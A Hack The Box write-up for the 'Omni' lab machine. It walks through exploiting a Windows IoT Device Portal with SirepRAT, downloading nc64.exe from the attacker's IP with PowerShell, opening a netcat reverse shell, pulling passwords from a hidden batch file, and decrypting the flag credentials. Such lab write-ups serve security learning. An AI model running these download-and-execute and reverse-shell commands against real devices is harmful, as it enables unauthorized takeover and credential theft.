[HTB] Omni Write-up

This was a pretty interesting box and had a new OS that I’ve never messed with.

As always we start with an Nmap scan and adding the box to our hosts file.

So we see that it looks like a Windows server but we never get a proper OS fingerprint for it. After some Googling, it turns out to be a Windows IoT device which is why you see the upnp service. ARCserve also might give you a hint as it looks to be an IoT related storage solution.

If you try to browse to the 8080 port, it’ll respond back with a login prompt but it’ll also mention that it’s a Windows Device Portal. If you look around for exploits regarding this, you’ll find a Python script called SirepRAT. This allows us to perform RCE but not interactively. We can run any command we want but it never gives us an interactive shell.

However, after messing around with it for a bit, you’ll see that Powershell is installed and able to be called from this script. That means we’re able to upload and execute a payload or a tool. Something like NetCat perhaps?

It’s important to mention that the proper version of nc.exe is needed for this to work. I used nc64.exe acquired from here: https://github.com/int0x33/nc.exe

After we have that executable, we can start a Python HTTP Server to serve the payload.

krkn@htb:~$ sudo python -m SimpleHTTPServer 80

Then we can utilize the SirepRAT.py script to RCE and download that exe.

krkn@htb:~/SirepRAT$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c powershell.exe Invoke-WebRequest http://10.10.14.234/nc64.exe -outfile C:\\Windows\\Temp\\nc64.exe" --v

This command will tell the remote server to run cmd.exe to then call Powershell to grab the payload we’re serving in our Python HTTP server and save it in the Temp directory.

You’ll see a log in your Python terminal to confirm it was downloaded.

Then we can start a netcat listener.

krkn@htb:~$ nc -lvp 4444

Finally we can use the SirepRAT.py script again to complete the netcat connection and give us our reverse shell.

krkn@htb:~/SirepRAT$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c C:\\Windows\\Temp\\nc64.exe 10.10.14.234 4444 -e cmd.exe" --v

At that point, you’ll get that lovely Windows command prompt.

From here you can look around all you want. However, an important file to note is located in C:\Program Files\WindowsPowerShell\Modules\PackageManagement. This file is hidden so use dir /ah to see it. You’ll see an r.bat file and in here you’ll find the passwords for user administrator and user app.

Remember that login prompt from port 8080? Yeah you can use those creds there. It’ll take you to this.

From here, you’ll see that under Processes menu, you have the ability to execute commands. You can use that same nc64.exe we dropped earlier to get higher privileges under these user contexts.

But unfortunately, we can’t get user or root because the flags are in some strange XML format.

After some more Googling, we can decrypt these using Powershell.

After opening a powershell prompt, we can use the following command on both root.txt and user.txt under their prospective user level.

$credroot = Import-CliXml -Path C:\\Data\\Users\\administrator\\root.txt


$credroot.GetNetworkCredential().Password

This will decrypt the password for us and give us the flags we need.

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